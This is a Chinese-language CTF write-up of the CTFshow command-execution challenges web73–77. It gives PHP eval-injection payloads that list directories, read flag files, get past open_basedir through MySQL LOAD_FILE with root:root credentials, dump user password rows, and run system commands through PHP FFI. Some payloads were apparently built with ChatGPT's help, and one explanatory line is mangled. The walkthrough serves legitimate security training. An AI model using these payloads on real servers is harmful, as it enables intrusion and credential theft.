CTFshow系列——命令执行web73-77(完结篇)
老样子,今天给大家带来命令执行的文章讲解以及解析
文章目录
- Web73
- 另一种方法:PHP原生类可遍历目录
- Web74
- 遍历目录新payload
- Web75(新方法,很重要!!!)
- 查看目录
- 查看WP
- 答疑解惑部分(焚决):
- 总结
- Web76
- Web77(重要)
- 🔍 错误原因
- ✅ 解决方案
- 解题思路
- 真正的payload
- 总结
Web73
老样子,没有什么新意:
所以直接查看目录:
# payload
c=var_export(scandir('/'));exit();
c=var_export(scandir('glob:///*'));exit();c=echo implode('|', scandir('/'));exit();
c=echo implode('|', scandir('glob:///*'));exit();
另一种方法:PHP原生类可遍历目录
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>
这种办法查看目录之前已经遇到过很多次了,这里就不再解释;
后续payload还是一样的道理:
注意:这里是flagc.txt
# payload
c=include('/flagc.txt');exit();
c=include_once('/flagc.txt');exit();
c=require('/flagc.txt'); exit();
c=require_once('/flagc.txt');exit();# 新函数
c=readgzfile("/flagc.txt");exit();
Web74
千篇一律的开头,没有什么好说的;
这里我们尝试查看目录,发现了点问题:
- 使用
c=var_export(scandir('glob:///*'));exit();
结果显示NULL scandir()
函数被禁用了
遍历目录新payload
所以后面我稍微修改了下,得到新的payload:
# 遍历目录
c=echo implode('|', glob('/*'));exit();
c=var_export(glob('/*'));exit();# PHP遍历目录方法也可行
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>
查看flagx文件:
# payload
c=include('/flagx.txt');exit();
c=include_once('/flagx.txt');exit();
c=require('/flagx.txt'); exit();
c=require_once('/flagx.txt');exit();# 新函数
c=readgzfile("/flagx.txt");exit();
Web75(新方法,很重要!!!)
这里尝试了一下,发现:
c=var_export(glob('/*'));exit();
显示falsec=echo implode('|', glob('/*'));exit();
显示参数错误
查看目录
可恶,两个payload没有了,只剩下PHP原生类可遍历目录这一种方法;
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>
得到flag36.txt
正当我们兴致勃勃想要像以前直接文件包含的时候,意外出现了:
还是open_basedir
,说明文件夹被限制访问了:
所以,之前文件包含的所有payload,全部失效!
查看WP
那我们知道了目录,如何查看flag36文件的内容呢?
答:换成mysqli代码
但是既然php受限制,那么mysql的load_file
函数呢
# payload
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
即可得到flag的内容;
答疑解惑部分(焚决):
这里我有个疑问:
- 怎么知道数据库的名字为:ctftraining
- 数据库账号一般默认就是
root:root
所以我问了下ChatGPT,用来一步步构建上述的payload:
- 在 payload 的场景下,我先跑一条,看看库名:
c=try {$dbh = new PDO('mysql:host=localhost', 'root', 'root');foreach($dbh->query('SHOW DATABASES') as $row) {echo($row[0])."|";}$dbh = null;
} catch (PDOException $e) {echo $e->getMessage();exit(0);
}
exit(0);
得到结果:
- 查看查看某个数据库的所有表
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('SHOW TABLES') as $row) {echo($row[0])."|";}$dbh = null;
} catch (PDOException $e) {echo $e->getMessage();exit(0);
}
exit(0);
显示结果如图:
得到FLAG_TABLE表;
- 列出某个表的字段
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach ($dbh->query('SHOW COLUMNS FROM users') as $row) {echo $row['Field'] . "|";}$dbh = null;
} catch (PDOException $e) {echo $e->getMessage(); exit(0);
}
exit(0);
得到结果:
- 最后一步,查看username和password
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach ($dbh->query('SELECT username, password FROM users') as $row) {echo $row['username'] . " | " . $row['password'] . "\n";}$dbh = null;
} catch (PDOException $e) {echo $e->getMessage(); exit(0);
}
exit(0);
得到结果:
总结
好了,这就是完整的SQL语句查询过程。既然如此,我们下一个专题就写SQL语句吧(原本是想写文件上传的)。
–
Web76
老样子,没什么好看的:
这有什么,老样子,直接上payload:
# 查看目录
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>
得到flag36d.txt文件:
# payload
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
之前我的那些数据库查询语句一样能用。
Web77(重要)
- 命令执行最后一题,php7.4,基本上命令执行就告一段落了
payload同理,不作解释:
# 查看目录
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?># 查看文件
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36x.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
但是意外还是出现了:
访问了flag36x.txt文件,居然没找到flag?
但是我们注意到左边有一个readflag目录,那还说啥呢,直接看呗:
c=?><?php $a=new DirectoryIterator("glob:///readflag"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>
- 返回的错误
- Fatal error: Uncaught UnexpectedValueException: DirectoryIterator::__construct(): open_basedir restriction in effect. File(/readflag) is not within the allowed path(s): (/var/www/html/) in /var/www/html/index.php(19) : eval()'d code:1 Stack trace: #0 /var/www/html/index.php(19) : eval()'d code(1): DirectoryIterator->__construct(‘glob:///readfla…’) #1 /var/www/html/index.php(19): eval() #2 {main} thrown in /var/www/html/index.php(19) : eval()'d code on line 1
- 解释错误:
-
open_basedir
限制:
PHP 配置中开启了 open_basedir,限制了 PHP 只能访问/var/www/html/
下的文件和目录。/readflag
不在允许路径内,所以 DirectoryIterator 无法访问。 -
DirectoryIterator 不是用来访问超出 open_basedir 的文件的
-
也就是说,PHP 在当前环境下不能直接列出 /readflag 目录。
明白了,你遇到的错误是:
Fatal error: Uncaught UnexpectedValueException: DirectoryIterator::__construct(): open_basedir restriction in effect. File(/readflag) is not within the allowed path(s): (/var/www/html/)
🔍 错误原因
-
open_basedir
限制- PHP 配置中开启了
open_basedir
,限制了 PHP 只能访问/var/www/html/
下的文件和目录。 /readflag
不在允许路径内,所以DirectoryIterator
无法访问。
- PHP 配置中开启了
-
DirectoryIterator
不是用来访问超出open_basedir
的文件的- 也就是说,PHP 在当前环境下 不能直接列出
/readflag
目录。
- 也就是说,PHP 在当前环境下 不能直接列出
-
另外,你写了
glob:///readflag
- 多了一个
/
,glob("///readflag")
和/readflag
是等价的,但这里不是主要问题,主要是 open_basedir 限制。
- 多了一个
✅ 解决方案
因为 /readflag
在 open_basedir
外,不能用 DirectoryIterator 或 scandir。
可以使用 MySQL 的 LOAD_FILE()
函数 来读取文件内容(前提是 MySQL 用户有 FILE
权限)。
你的 payload 可以改成这样:
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach ($dbh->query('SELECT LOAD_FILE("/readflag")') as $row) {echo $row[0] . "|";}$dbh = null;
} catch (PDOException $e) {echo $e->getMessage(); exit(0);
}
exit(0);
- 这样可以绕过 PHP 的
open_basedir
限制,通过 MySQL 读取/readflag
文件内容。
💡 总结
方法 | 是否可行 |
---|---|
DirectoryIterator("/readflag") | ❌ 因为 open_basedir 限制 |
scandir("/readflag") | ❌ 同上 |
glob("/readflag") | ❌ 同上 |
file_get_contents("/readflag") | ❌ 同上 |
LOAD_FILE("/readflag") | ✅ 可行(MySQL 用户权限允许) |
还是没找到flag,我真没招了。
解题思路
发现 flag36x.txt 文件。同时根目录下还有 readflag,估计需要调用 readflag 获取 flag。
c=$ffi = FFI::cdef(“int system(const char *command);”); 通过FFI,可以实现调用system函数,从而执行命令,总而言之,就是调用system函数 $a=‘/readflag > 1.txt’; //调用/readflag 把flag写入1.txt中 ffi−>system(ffi->system(ffi−>system(a); //执行命令
然后访问1.txt
理论结束,开始操作:
- 刚开始用代码:
c=$ffi=FFI::cdef("int system(const char *command);");$cmd='/readflag > /var/www/html/1.txt';$ffi->system($cmd);if(file_exists('/var/www/html/1.txt')){echo file_get_contents('/var/www/html/1.txt');}exit();
-
这条 payload 做了三件事:
- 初始化 FFI,调用 C 的 system 函数
- 执行 /readflag > /var/www/html/1.txt,把 flag 输出到 web 可访问文件
- 读取并打印 1.txt 的内容
但是很快就报错了:
Warning: file_exists() has been disabled for security reasons
- 原因:
- 你的 PHP 环境为了安全,禁用了 file_exists()(在 disable_functions 配置里)。
- 也就是说 不能用 file_exists() 或 is_file() 来判断文件是否存在。
真正的payload
修改后代码:
## payload
c=$ffi=FFI::cdef("int system(const char *command);");$cmd='/readflag > /var/www/html/1.txt';$ffi->system($cmd);echo @file_get_contents('/var/www/html/1.txt');exit();
- 使用 @ 屏蔽 file_get_contents() 的错误
- 如果文件写入失败,会输出空字符串
- 不再调用 file_exists(),绕过安全限制
随后访问1.txt即可:
全体起立!!
总结
关于命令执行的部分也是结束了,后面就开始SQL部分内容(重要程度不亚于命令执行)。